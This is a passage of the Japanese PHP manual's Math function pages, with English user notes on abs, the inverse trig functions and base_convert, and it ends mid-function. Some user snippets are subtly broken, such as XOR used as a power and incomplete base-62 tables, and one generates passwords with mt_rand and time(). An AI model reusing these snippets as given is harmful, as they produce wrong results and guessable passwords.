This code will convert a decimal to it's fraction equivalent. The precision can be set by changing PRECISION.

<?php
define(PRECISION, .01);

$count=0;
$result=array();
decimalToFraction($_REQUEST['dec'],$count,&$result);
$count = count($result);
$simp_fract = simplifyFraction($result,$count,1,$result[$count]);

echo $simpl_fract;

// Start of functions

/*
   Converts a decimal to unsimplified fraction represented in an array
*/
function decimalToFraction($decimal,$count,$result) {
    $a = (1/$decimal);
    $b = ( $a - floor($a)  );
    $count++;
    if ($b > .01 && $count <= 5) decimalToFraction($b,$count,&$result);
    $result[$count] = floor($a);
}

/*
    Simplifies a fraction in an array form that is returned from
    decimalToFraction
*/
function simplifyFraction($fraction,$count,$top,$bottom) {
    $next = $fraction[$count-1];
    $a = ($bottom * $next) + $top;
    $top = $bottom;
    $bottom = $a;
    $count--;
    if ($count > 0) simplifyFraction($fraction,$count,$top,$bottom);
    else {
        return "<font size=1>$bottom/$top</font>";
    }
}
?>
jbeardsl [found_at] gte [d0t] net 08-Nov-2002 01:15
I was looking for a truncate function. Not finding one, I wrote my own. Since it deals with everything as a number, I imagine it's faster than the alternative of using string functions. HTH...

<?php
function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10, $digits);
    return ((floor($num * $shift)) / $shift);
}
?>
patience at worldonline dot nl 05-Aug-2002 09:08
The example for Factorials given above is wrong. Here a correct version, so that you do not have to reinvent the wheel again...

<?php
function mathFact( $s )
{
  $r = (int) $s;

  if ( $r < 2 )
    $r = 1;
  else {
    for ( $i = $r-1; $i > 1; $i-- )
      $r = $r * $i;
  }

  return( $r );
}
?>
webkid%webkid.com 31-May-2002 03:54
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
ian at mp3 dot com 19-Feb-2001 03:43
for those looking for a credit card verification function i wrote a simple LUHN Formula algorithm:

<?php
$valid = 1;

$numOfDigits = 0 - strlen($ccNumber);

$i = -1;
while ($i>=$numOfDigits){
  if (($i % 2) == 0){
    $double = 2*(substr($ccNumber, $i, 1));
    $total += substr($double,0,1);
    if (strlen($double > 1)){
      $total += substr($double,1,1);
    }
  } else {
    $total += substr($ccNumber, $i, 1);
  }
  $i--;
}

if (($total % 10) != 0){
  $valid = 0;
}
?>


絶対値

  • ≪ Math 関数
  • acos ≫
  • PHP Manual
  • Math 関数
  • 絶対値

abs

(PHP 4, PHP 5, PHP 7, PHP 8)

abs — 絶対値

説明

abs ( mixed $number ) : int|float

number の絶対値を返します。

パラメータ

number

処理する数値。

返り値

number の絶対値を返します。もし number の型が float であった場合、 返り値の型も float となります。それ以外の場合は 返り値の型は int となります（float は、 int の最大値より大きい値をとることがありえるからです）。

例

例1 abs() の例

<?php
echo abs(-4.2); // 4.2 (double/float)
echo abs(5);    // 5 (integer)
echo abs(-5);   // 5 (integer)
?>

参考

  • gmp_abs() - 絶対値
  • gmp_sign() - 数の符号

User Contributed Notes

eep2004 at ukr dot net 03-Mar-2021 08:19
<?php
echo 'PHP '.PHP_VERSION.'<br>';

$qty = 1000;
$arr = array();
for ($i = 0; $i < $qty; $i++){
    $arr[] = rand(-100, 100);
}

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        $v = abs($v);
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        if ($v < 0) $v = abs($v);
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        if ($v < 0) $v *= -1;
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';
?>
Result:
PHP 7.1.33
0.0910
0.0710
0.0550

Conclusion: better to check before using the feature that the number is less than zero. Even better use multiplication by -1 than this function.


逆余弦（アークコサイン）

  • ≪ abs
  • acosh ≫
  • PHP Manual
  • Math 関数
  • 逆余弦（アークコサイン）

acos

(PHP 4, PHP 5, PHP 7, PHP 8)

acos — 逆余弦（アークコサイン）

説明

acos ( float $num ) : float

num のアークコサインをラジアンで返します。 acos() は cos() の逆関数で、 acos() がとりうる範囲内のすべての a について a==cos(acos(a)) が成立します。

パラメータ

num

処理する角度。

返り値

num のアークコサインをラジアンで返します。

参考

  • cos() - 余弦（コサイン）
  • acosh() - 逆双曲線余弦（アークハイパボリックコサイン）
  • asin() - 逆正弦（アークサイン）
  • atan() - 逆正接（アークタンジェント）

User Contributed Notes

rahmatjon at gmail dot com 13-Jan-2021 05:21
Hello!
There is no any example for acos() function. Please put this one below the acos() function's description.
Thank you!

Example:
<?php
    $arg=0.5;
    $val=acos($arg);
    echo "acos(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "acos(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";
?>


逆双曲線余弦（アークハイパボリックコサイン）

  • ≪ acos
  • asin ≫
  • PHP Manual
  • Math 関数
  • 逆双曲線余弦（アークハイパボリックコサイン）

acosh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

acosh — 逆双曲線余弦（アークハイパボリックコサイン）

説明

acosh ( float $num ) : float

num のアークハイパボリックコサインを返します。 つまり、ハイパボリックコサインが num となる値です。

パラメータ

num

処理する値。

返り値

num のアークハイパボリックコサインを返します。

参考

  • cosh() - 双曲線余弦（ハイパボリックコサイン）
  • acos() - 逆余弦（アークコサイン）
  • asinh ()
  • atanh() - 逆双曲線正接（アークハイパボリックタンジェント）

User Contributed Notes

rahmatjon at gmail dot com 16-Jan-2021 02:35
Hello!
There is no any example for acosh() function. Please put this one below the acosh() function's description.
Thank you!

Example:
<?php
    $x = 1;
    $y1 = acosh($x);
    echo "PHP function acosh(). acosh(" . $x . ") = " . $y1 . ".<br/>";
    $y2 = log($x + sqrt($x*$x -1));
    echo "By definition of acosh. acosh(" . $x . ") = " . $y2 . ".<br/>";

    $x = 10;
    $y1 = acosh($x);
    echo "PHP function acosh(). acosh(" . $x . ") = " . $y1 . ".<br/>";
    $y2 = log($x + sqrt($x*$x -1));
    echo "By definition of acosh. acosh(" . $x . ") = " . $y2 . ".<br/>";
?>


逆正弦（アークサイン）

  • ≪ acosh
  • asinh ≫
  • PHP Manual
  • Math 関数
  • 逆正弦（アークサイン）

asin

(PHP 4, PHP 5, PHP 7, PHP 8)

asin — 逆正弦（アークサイン）

説明

asin ( float $num ) : float

num のアークサインをラジアンで返します。 asin() は sin() の逆関数で、 asin() がとりうる範囲内のすべての a について a==sin(asin(a)) が成立します。

パラメータ

num

処理する角度。

返り値

num のアークサインをラジアンで返します。

参考

  • sin() - 正弦（サイン）
  • asinh() - 逆双曲線正弦（アークハイパボリックサイン）
  • acos() - 逆余弦（アークコサイン）
  • atan() - 逆正接（アークタンジェント）

User Contributed Notes

rahmatjon at gmail dot com 16-Jan-2021 03:17
Hello!
Please put this example below the asin() function's description.
Thank you!

Example:
<?php
    $arg = 0.5;
    $val = asin($arg);
    echo "asin(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "asin(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";

    $arg = 1;
    $val = asin($arg);
    echo "asin(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "asin(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";
?>


逆双曲線正弦（アークハイパボリックサイン）

  • ≪ asin
  • atan2 ≫
  • PHP Manual
  • Math 関数
  • 逆双曲線正弦（アークハイパボリックサイン）

asinh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

asinh — 逆双曲線正弦（アークハイパボリックサイン）

説明

asinh ( float $num ) : float

num のアークハイパボリックサインを返します。 つまり、ハイパボリックサインが num となる値です。

パラメータ

num

処理する角度。

返り値

num のアークハイパボリックサインを返します。

参考

  • sinh() - 双曲線正弦（ハイパボリックサイン）
  • asin() - 逆正弦（アークサイン）
  • acosh() - 逆双曲線余弦（アークハイパボリックコサイン）
  • atanh() - 逆双曲線正接（アークハイパボリックタンジェント）

User Contributed Notes

ape_cwb at yahoo dot com dot br 15-Nov-2007 05:40
The correct implementation of asinh(x) for Windows plataform is:

-------------------------------------------------------
function asinh($x)
{
        return ln($x + sqrt(1 + pow($x, 2)));
}

function ln($x)
{
     return $x = log($x)/log(M_E);
}
--------------------------------------------------------

The worksheet above includes a comparation about the native asinh(x) and the implemented version using LN and LOG (like Snoyes posted on 27-Dec-2005 07:42)

http://www.mavadesign.com.br/allan/asinh(x).xls

This implementation using LN, give THE SAME results that function asinh(x) linux native.

Allan Patrick Engel
Curitiba - Parana - Brasil
snoyes at gmail dot com 27-Dec-2005 07:42
asinh for windows:

The definition for asinh is asinh(z) = log(z + sqrt(z^2 + 1))

The built-in math functions and operators give poor results for small values of z.  The BCMath version produces closer results, but still quite distant if z < 1.  A BCMath version of the log function might help.

if (!function_exists("asinh")) {
    function asinh($z) {
      return log($z + sqrt($z^2 +1));
    }
}

if (!function_exists("bcasinh")) {
    function bcasinh($z) {
      return log(bcadd($z, bcsqrt(bcadd(bcpow($z, 2), 1))));
    }
}


2 変数のアークタンジェント

  • ≪ asinh
  • atan ≫
  • PHP Manual
  • Math 関数
  • 2 変数のアークタンジェント

atan2

(PHP 4, PHP 5, PHP 7, PHP 8)

atan2 — 2 変数のアークタンジェント

説明

atan2 ( float $y , float $x ) : float

この関数は、2 つの変数 x および y のアークタンジェントを計算します。 y / x のアークタンジェントを計算するのに似ていますが、 2 つの引数の符号を用いて結果の象限を定義することが異なっています。

この関数は、結果を -PI から PI の間(両端を含む)のラジアンで返します。

パラメータ

y

被除数。

x

除数。

返り値

y/x のアークタンジェントをラジアンで返します。

参考

  • atan() - 逆正接（アークタンジェント）

User Contributed Notes

mirellastitan at gmail dot com 21-Jun-2017 08:09
The russian translation for this article contains a translation error.

Делитель and Делимое should be visa versa:

Делимое is the dividend
Делитель is the divisor

Thank you in advance for fixing this issue. It's quite confusing
andyidol at gmail dot com 10-Aug-2010 08:18
This function will return degree by vertex coordinates in general trigonometrical coordinate system where zero is located at position (1, 0), 90' at (0, 1), 180' at (-1, 0) and so on.

<?php

function GetDegree($x, $y)
{
  // we don't want to cause division by zero
  if($x == 0) $x = 1 / 10000;

  $deg = rad2deg(atan(abs($y / $x)));

  if($y >= 0) $deg = $x < 0 ? 180 - $deg : $deg;
  else        $deg = $x < 0 ? 180 + $deg : 360 - $deg;

  return $deg;

}

?>
fred dot beck at rrd dot com 11-Jan-2009 12:39
<?php
/**
 *    Given an origin point of (0,0) and a destination point $x,$y
 *  somewhere on an axis grid, compass() determines the compass
 *  heading(direction) of the destination point from the origin
 *
 *  HOWEVER, atan2(y,x)'s natural compass thinks east is north,
 *
 *  {135}-------{ 90}-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {180} [-x]  [0,0]  [+x] {0} <--------- North ?
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{-90}-------{-45}
 *
 *
 *    SO, we simply transpose the (y,x) parameters to atan2(x,y)
 *     which will both rotate(left) and reflect(mirror) the compass.
 *
 *  Which gives us this compass
 *
 *  {-45}-------{ 0 }-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {-90} [-x]  [0,0]  [+x] {90}
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{180}-------{135}
 *
 *  FINALLY,` we check if param $x was indeed a negative number,
 *  if so we simply add 360 to the negative angle returned by atan2()
 *
 */
function compass($x,$y)
    {
        if($x==0 AND $y==0){ return 0; } // ...or return 360
        return ($x < 0)
        ? rad2deg(atan2($x,$y))+360      // TRANSPOSED !! y,x params
        : rad2deg(atan2($x,$y));
    }
function polar($x,$y)
    {
        $N = ($y>0)?'N':'';
        $S = ($y<0)?'S':'';
        $E = ($x>0)?'E':'';
        $W = ($x<0)?'W':'';
        return $N.$S.$E.$W;
    }
function show_compass($x,$y)
     {
         return '<BR>'
             .polar($x,$y)
             .' compass( x='.$x.', y='.$y.' )= '
             .number_format(compass($x,$y),3).'&deg';
     }

echo show_compass(0,3);
echo show_compass(.06,3);
echo show_compass(3,3);
echo show_compass(3,.06);
echo show_compass(3,0);
echo show_compass(3,-.06);
echo show_compass(3,-3);
echo show_compass(.06,-3);
echo show_compass(0,-3);
echo show_compass(-.06,-3);
echo show_compass(-3,-3);
echo show_compass(-3,-.06);
echo show_compass(-3,0);
echo show_compass(-3,.06);
echo show_compass(-3,3);
echo show_compass(-.06,3);

/* RENDERS THIS

N compass( x=0, y=3 )= 0 °
NE compass( x=0.06, y=3 )= 1.14576283818 °
NE compass( x=3, y=3 )= 45 °
NE compass( x=3, y=0.06 )= 88.8542371618 °
E compass( x=3, y=0 )= 90 °
SE compass( x=3, y=-0.06 )= 91.1457628382 °
SE compass( x=3, y=-3 )= 135 °
SE compass( x=0.06, y=-3 )= 178.854237162 °
S compass( x=0, y=-3 )= 180 °
SW compass( x=-0.06, y=-3 )= 181.145762838 °
SW compass( x=-3, y=-3 )= 225 °
SW compass( x=-3, y=-0.06 )= 268.854237162 °
W compass( x=-3, y=0 )= 270 °
NW compass( x=-3, y=0.06 )= 271.145762838 °
NW compass( x=-3, y=3 )= 315 °
NW compass( x=-0.06, y=3 )= 358.854237162 °

*/

?>
Monte Shaffer 08-Jun-2007 11:35
Here is a function that will return a new point [Rotate around non-origin pivot point]

(x,y) is current point
(cx,cy) is pivot point to rotate
=a= is angle in degrees

    $_rotation     = 1;      # -1 = counter, 1 = clockwise
    $_precision    = 2;      # two decimal places

function returnRotatedPoint($x,$y,$cx,$cy,$a)
    {
    # http://mathforum.org/library/drmath/view/63184.html
    global $_rotation;     # -1 = counter, 1 = clockwise
    global $_precision;    # two decimal places

            // radius using distance formula
            $r = sqrt(pow(($x-$cx),2)+pow(($y-$cy),2));
            // initial angle in relation to center
            $iA = $_rotation * rad2deg(atan2(($y-$cy),($x-$cx)));

            $nx = number_format($r * cos(deg2rad($_rotation * $a + $iA)),$_precision);
            $ny = number_format($r * sin(deg2rad($_rotation * $a + $iA)),$_precision);

    return array("x"=>$cx+$nx,"y"=>$cy+$ny);
    }
reubs at idsdatanet dot com 23-May-2003 01:01
Just a note:

PHP's atan2 function receives parameters in (y,x) and Excel receives it in (x,y) format. Just in case you are porting formulas across. :)


逆正接（アークタンジェント）

  • ≪ atan2
  • atanh ≫
  • PHP Manual
  • Math 関数
  • 逆正接（アークタンジェント）

atan

(PHP 4, PHP 5, PHP 7, PHP 8)

atan — 逆正接（アークタンジェント）

説明

atan ( float $num ) : float

num のアークタンジェントをラジアンで返します。 atan() is the は tan() の逆関数で、 atan() がとりうる範囲内のすべての a について a==tan(atan(a)) が成立します。

パラメータ

num

処理する引数。

返り値

num のアークタンジェントをラジアンで返します。

参考

  • tan() - 正接（タンジェント）
  • atanh() - 逆双曲線正接（アークハイパボリックタンジェント）
  • asin() - 逆正弦（アークサイン）
  • acos() - 逆余弦（アークコサイン）

User Contributed Notes

Ts.Saltan 29-Apr-2016 08:52
arcctg function

function actg($arg){
    return acos($arg/(sqrt(1 + $arg * $arg)));
}
Anonymous 30-Aug-2014 11:38
Contrary to the current description, it should hold y == tan(atan(y)) for ALL  y.
However, x == atan(tan(x)) only holds for those x which are in the range of atan, which are those x with -pi/2 < x < pi/2.

Of course, those equalities are limited by precision. On my machine
tan(atan(1000)) returns 1000.0000000001.
atan(tan(0)) returns 0 (correct).
atan(tan(M_PI)) returns -1.2246467991474E-16 instead of 0.
joelperr at kiwi-interactif dot com 11-Jan-2006 05:12
to obtain the direction of the line, you are better to use the <? atan2((y2-y1)/(x2-x1)) ?> function, since the regular atan function will only return arguments in the half-plane, ie. if y2-y1 and x2-x1 are negative, atan will give you an angle measurement less than 90 degrees, while it really should be  between 180 and 270
darren_wheatley at hotmail dot com 27-Nov-2003 06:24
Arc Tan curve manipulation.

I used this formula to help with increasing and then diminishing return for y given an increasing x for a game.

Ie: Food production (output) is y. Food research is x.

The more research you put into x the more you produce, however after a certain point you get less reward.

 y = atan(x - pi()) + pi()/2;

The + pi()/2 moves it up the y axis so you'd add more if you want it to start higher.

The x - pi() moves it to the right so you'd minus more to move it more.

If you want stretched along the y axis change it to 2 * atan( ...... )

Dunno how useful it is... but it's there.

Daz


逆双曲線正接（アークハイパボリックタンジェント）

  • ≪ atan
  • base_convert ≫
  • PHP Manual
  • Math 関数
  • 逆双曲線正接（アークハイパボリックタンジェント）

atanh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

atanh — 逆双曲線正接（アークハイパボリックタンジェント）

説明

atanh ( float $num ) : float

num のアークハイパボリックタンジェントを返します。 つまり、ハイパボリックタンジェントが num となる値です。

パラメータ

num

処理する引数。

返り値

num のアークハイパボリックタンジェントを返します。

参考

  • tanh() - 双曲線正接（ハイパボリックタンジェント）
  • atan ()
  • asinh() - 逆双曲線正弦（アークハイパボリックサイン）
  • acosh() - 逆双曲線余弦（アークハイパボリックコサイン）

User Contributed Notes

There are no user contributed notes for this page.


数値の基数を任意に変換する

  • ≪ atanh
  • bindec ≫
  • PHP Manual
  • Math 関数
  • 数値の基数を任意に変換する

base_convert

(PHP 4, PHP 5, PHP 7, PHP 8)

base_convert — 数値の基数を任意に変換する

説明

base_convert ( string $num , int $from_base , int $to_base ) : string

num を基数 to_base で表した文字列を返します。 num の基数は、 from_base で指定します。 from_base および to_base は、ともに 2 から 36 までである必要があります。 10 より大きな基数を有する数の各桁は、文字 a-z で表されます。 この場合、a は 10、b は 11、z は 35 を意味します。 num は、大文字小文字を区別せずに扱います。

警告

大きな数値で base_convert() を使用すると、 精度が失われてしまうことがあります。これは、内部で使用している "double" や "float" の性質によるものです。詳細な情報や制限については マニュアルの浮動小数点数 のセクションを参照ください。

パラメータ

num

変換する数値。 num に無効な文字が含まれている場合は、 何もエラーを出さずにただ無視します。 PHP 7.4.0 以降は、無効な文字を与えることは推奨されません。

from_base

変換前の num の基数。

to_base

変換後の num の基数。

返り値

num を基数 to_base で表した値を返します。

変更履歴

バージョン | 説明
7.4.0 | 無効な文字を与えると、非推奨の警告が出るようになりました。 結果は不正な文字がなかったかのように計算されます。

例

例1 base_convert() の例

<?php
$hexadecimal = 'a37334';
echo base_convert($hexadecimal, 16, 2);
?>

上の例の出力は以下となります。

101000110111001100110100

参考

  • intval() - 変数の整数としての値を取得する

User Contributed Notes

Anonymous 19-Oct-2018 01:09
While not immediately clear from the description above, a negative sign is also "silently ignored".

base_convert("-12", 10, 10)   =>   12
Anonymous 03-Jan-2018 04:42
some other mini implementation of base32 without error catching. just bring things from 5 to 8 and 8 to 5 bit. greetings. mho

<?
function base32_decode($d)
    {
    list($t, $b, $r) = array("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "", "");

    foreach(str_split($d) as $c)
        $b = $b . sprintf("%05b", strpos($t, $c));

    foreach(str_split($b, 8) as $c)
        $r = $r . chr(bindec($c));

    return($r);
    }

function base32_encode($d)
    {
    list($t, $b, $r) = array("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "", "");

    foreach(str_split($d) as $c)
        $b = $b . sprintf("%08b", ord($c));

    foreach(str_split($b, 5) as $c)
        $r = $r . $t[bindec($c)];

    return($r);
    }
?>
wadelau at gmail dot com 28-Dec-2017 09:37
Base62x gives an alternative way for traditional Base62 and/or Base64.

base62x_encode / base62x_decode would be merged into PHP as an extra module in the future.

Prior to that, users can download the PHP extra module via: https://github.com/wadelau/Base62x
ohcc at 163 dot com 29-Aug-2017 06:31
<?php
    $v = base_convert(3.14, 10, 10);
    var_dump($v);
?>

output: string(3) "314"
tika dot pahadi at selu dot edu 17-Jan-2016 09:23
Note that the method can only convert max 1024 long numbers. Most people don't nee that but once I ran into an issue where binary string was converted into alphanumeric. In such case, you need to split them, convert them and join.
liams dot test dot acc at gmail dot com 16-Aug-2015 10:49
I wrote this as part of a college assignment to shorten urls. It works for any base and with any range of characters, eg. A-Za-z0-9 etc. Hope it helps someone.

<?php

        $base = range(0, 1);
        $number = 255;

        function translate($base, $number){

                $array = array();
                $n = count($base);
                $i = $number;

                while(true){

                /* by dividing $i % $n we can get the remainder after the number has
                 * been divided by the base. Subtracting the result from $i (number), and dividing
                 * by $n (base) we reassign the result to $i, thus moving on to the next smallest
                 * exponent, and around for another go of the loop. It continues doing this, churning
                 * out the remainders until $i <= 0 at which point it breaks.
                 */

                        if($i <= 0){

                                break;
                        }else{
                                $r = ($i % $n);

                              //reassign the value of $i
                                $i = ($i - $r) / $n;

                                $array[] = $base[$r];
                        }
                }
                $string = implode("", $array);
                return $string;
        }

        $string = translate($base, $number);
        echo $string;

        // prints 11111111
?
ardavies at tiscali dot co dot uk 24-May-2014 11:31
In order to convert base 26 (hexavigesimal) of just alphanumeric characters (A-Z), wthout integers, (as descibed at http://en.wikipedia.org/wiki/Hexavigesimal), I found this to be useful:

function base_convert_alpha(  $str,  $from,  $to  )
{
    $r = range( 'A', 'Z' );
    $clean = str_replace( $r, array_keys($r), $str );
    return base_convert( $clean, $from, $to );
}

echo base_convert_alpha(  "BAC",  26,  10  );

//$clean = 102 which then returns 678
andrew at youritland dot co dot uk 29-Apr-2014 03:49
Example of using base_convert to generate random passwords

function random_password()
{
  $rvalue1 = mt_rand(100,999);
  $rvalue2 = time();
  $rvalue3 = mt_rand(1000,9999);
  $rvalue4 = mt_rand(1,9);
  $rvalue5 = mt_rand(101,109);
  //combine values
  $rvalues = intval(((($rvalue2.$rvalue3) + $rvalue1)*$rvalue4) / $rvalue5);

  //return value in base-35 (will contain chars from '0' to 'z')
  return base_convert($rvalues,10,35);
}

Change the range of rvalue5 to get more or less characters. This setting
will return 8 chars.
denik dot od at gmail dot com 07-Jun-2013 02:55
Convert any length bits to HEX:

function bits2hex($bin)
{
   $out = "";
   for($i=0;$i<strlen($bin);$i+=8)
   {
      $byte = substr($bin,$i,8); if( strlen($byte)<8 ) $byte .= str_repeat('0',8-strlen($byte));
      $out .= base_convert($byte,2,16);
   }
   return $out;
}

VARNING! If the last byte is incomplete, it is supplemented with zeros as string!
Clifford dot ct at gmail dot com 07-Aug-2012 02:01
If you use base_convert to convert a large (eg. 80-bit) hexadecimal to base-36, you might observe:

ABCDEF00001234567890 (hexadecimal) => 3O47RE02JZSW0KS8 (base-36) => ABCDEF00001240000000 (hexadecimal)

This is normal and is due to the loss of precision on large numbers.

I have written a string-based function using the built-in BC Math Extension which will overcome this and similar problems.

<?php

function str_baseconvert($str, $frombase=10, $tobase=36) {
    $str = trim($str);
    if (intval($frombase) != 10) {
        $len = strlen($str);
        $q = 0;
        for ($i=0; $i<$len; $i++) {
            $r = base_convert($str[$i], $frombase, 10);
            $q = bcadd(bcmul($q, $frombase), $r);
        }
    }
    else $q = $str;

    if (intval($tobase) != 10) {
        $s = '';
        while (bccomp($q, '0', 0) > 0) {
            $r = intval(bcmod($q, $tobase));
            $s = base_convert($r, 10, $tobase) . $s;
            $q = bcdiv($q, $tobase, 0);
        }
    }
    else $s = $q;

    return $s;
}

?>

Typical use-cases:
1.  Convert a large arbitrary precision number to base-36.
2.  Convert a 32-char hexadecimal UUID (128-bit) to a 25-char base-36 unique key, and vice versa.

Examples:

<?php
$b16 = 'ABCDEF00001234567890';
$b36 = str_baseconvert($b16, 16, 36);
echo ("$b16 (hexadecimal) = $b36 (base-36) \\n");

$uuid = 'ABCDEF01234567890123456789ABCDEF';
$ukey = str_baseconvert($uuid, 16, 36);
echo ("$uuid (hexadecimal) = $ukey (base-36) \\n");
?>

ABCDEF00001234567890 (hexadecimal) = 3o47re02jzqisvio (base-36)
ABCDEF01234567890123456789ABCDEF (hexadecimal) = a65xa07491kf5zyfpvbo76g33 (base-36)
Baji dot Panchumarti at gmail dot com 04-Jul-2012 07:50
Extending base_convert to bases above 36, up to base 62.

<?php
function base_convert_x( $_number='', $_frBase=10, $_toBase=62 ) {

#   Today's Date - C74 - convert a string (+ve integer) from any arbitrary base to any arbitrary base, up to base 62, using  0-9,A-Z,a-z
#
#   Usage :   echo base_convert_x( 123456789012345, 10, 32 );

  $_10to62 =  array(
    '0'  => '0', '1'  => '1', '2'  => '2', '3'  => '3', '4'  => '4', '5'  => '5', '6'  => '6', '7'  => '7', '8'  => '8', '9'  => '9', '00' => '0', '01' => '1', '02' => '2', '03' => '3', '04' => '4', '05' => '5', '06' => '6', '07' => '7',
    '10' => 'A', '11' => 'B', '12' => 'C', '13' => 'D', '14' => 'E', '15' => 'F', '16' => 'G', '17' => 'H', '18' => 'I', '19' => 'J', '20' => 'K', '21' => 'L', '22' => 'M', '23' => 'N', '24' => 'O', '25' => 'P', '26' => 'Q', '27' => 'R',
    '30' => 'U', '31' => 'V', '32' => 'W', '33' => 'X', '34' => 'Y', '35' => 'Z', '36' => 'a', '37' => 'b', '38' => 'c', '39' => 'd', '40' => 'e', '41' => 'f', '42' => 'g', '43' => 'h', '44' => 'i', '45' => 'j', '46' => 'k', '47' => 'l',
    '50' => 'o', '51' => 'p', '52' => 'q', '53' => 'r', '54' => 's', '55' => 't', '56' => 'u', '57' => 'v', '58' => 'w', '59' => 'x', '60' => 'y', '61' => 'z'  );

  $_62to10 =  array(
    '0' => '00', '1' => '01', '2' => '02', '3' => '03', '4' => '04', '5' => '05', '6' => '06', '7' => '07', '8' => '08', '9' => '09', 'A' => '10', 'B' => '11', 'C' => '12', 'D' => '13', 'E' => '14', 'F' => '15', 'G' => '16', 'H' => '17',
    'K' => '20', 'L' => '21', 'M' => '22', 'N' => '23', 'O' => '24', 'P' => '25', 'Q' => '26', 'R' => '27', 'S' => '28', 'T' => '29', 'U' => '30', 'V' => '31', 'W' => '32', 'X' => '33', 'Y' => '34', 'Z' => '35', 'a' => '36', 'b' => '37',
    'e' => '40', 'f' => '41', 'g' => '42', 'h' => '43', 'i' => '44', 'j' => '45', 'k' => '46', 'l' => '47', 'm' => '48', 'n' => '49', 'o' => '50', 'p' => '51', 'q' => '52', 'r' => '53', 's' => '54', 't' => '55', 'u' => '56', 'v' => '57',
    'y' => '60', 'z' => '61' );

#   ---- First convert from frBase to base-10

    $_in_b10        =   0;
    $_pwr_of_frB    =   1;                        #  power of from base, eg. 1, 8, 64, 512
    $_chars         =   str_split( $_number );    #  split input # into chars
    $_str_len       =   strlen( $_number );
    $_pos           =   0;

    while     (  $_pos++ < $_str_len )  {
        $_char          =   $_chars[$_str_len - $_pos];
        $_in_b10       +=   (((int) $_62to10[$_char] ) * $_pwr_of_frB);
        $_pwr_of_frB   *=   $_frBase;
    }

#   ---- Now convert from base-10 to toBase

    $_dividend      =   (int)   $_in_b10;         #  name dividend easier to follow below
    $_in_toB        =   '';                       #  number string in toBase

    while     ( $_dividend > 0 )        {

        $_quotient  =   (int) ( $_dividend / $_toBase );    #  eg. 789 / 62  =  12  ( C in base 62 )
        $_remainder =   ''  .  ( $_dividend % $_toBase );   #  789 % 62  =  45  ( j in base 62 )
        $_in_toB    =   $_10to62[$_remainder] . $_in_toB;   #  789  (in base 10)  =    Cj  (in base 62)
        $_dividend  =   $_quotient;                         #  new dividend is the quotient from base division
    }

    if  ( $_in_toB  ==  '' )
          $_in_toB  =   '0';

    return    $_in_toB;                           #  base $_toBase string
}
#   --------- examples -------
    echo base_convert_x( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
    echo   base_convert( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
?>
PHPCoder at niconet2k dot com 17-Nov-2011 10:45
Convert an arbitrarily large number from any base to any base.

string convBase(string $numberInput, string $fromBaseInput, string $toBaseInput)
$numberInput number to convert as a string
$fromBaseInput base of the number to convert as a string
$toBaseInput base the number should be converted to as a string
examples for $fromBaseInput and $toBaseInput
'0123456789ABCDEF' for Hexadecimal (Base16)
'0123456789' for Decimal (Base10)
'01234567' for Octal (Base8)
'01' for Binary (Base2)
You can really put in whatever you want and the first character is the 0.
Examples:

<?php
convBase('123', '0123456789', '01234567');
//Convert '123' from decimal (base10) to octal (base8).
//result: 173

convBase('70B1D707EAC2EDF4C6389F440C7294B51FFF57BB', '0123456789ABCDEF', '01');
//Convert '70B1D707EAC2EDF4C6389F440C7294B51FFF57BB' from hexadecimal (base16) to binary (base2).
//result:
//111000010110001110101110000011111101010110000101110
//110111110100110001100011100010011111010001000000110
//001110010100101001011010100011111111111110101011110
//111011

convBase('1324523453243154324542341524315432113200203012', '012345', '0123456789ABCDEF');
//Convert '1324523453243154324542341524315432113200203012' from senary (base6) to hexadecimal (base16).
//result: 1F9881BAD10454A8C23A838EF00F50

convBase('355927353784509896715106760','0123456789','Christopher');
//Convert '355927353784509896715106760' from decimal (base10) to undecimal (base11) using "Christopher" as the numbers.
//result: iihtspiphoeCrCeshhorsrrtrh

convBase('1C238Ab97132aAC84B72','0123456789aAbBcCdD', '~!@#$%^&*()');
//Convert'1C238Ab97132aAC84B72' from octodecimal (base18) using '0123456789aAbBcCdD' as the numbers to undecimal (base11) using '~!@#$%^&*()' as the numbers.
//result: !%~!!*&!~^!!&(&!~^@#@@@&

function convBase($numberInput, $fromBaseInput, $toBaseInput)
{
    if ($fromBaseInput==$toBaseInput) return $numberInput;
    $fromBase = str_split($fromBaseInput,1);
    $toBase = str_split($toBaseInput,1);
    $number = str_split($numberInput,1);
    $fromLen=strlen($fromBaseInput);
    $toLen=strlen($toBaseInput);
    $numberLen=strlen($numberInput);
    $retval='';
    if ($toBaseInput == '0123456789')
    {
        $retval=0;
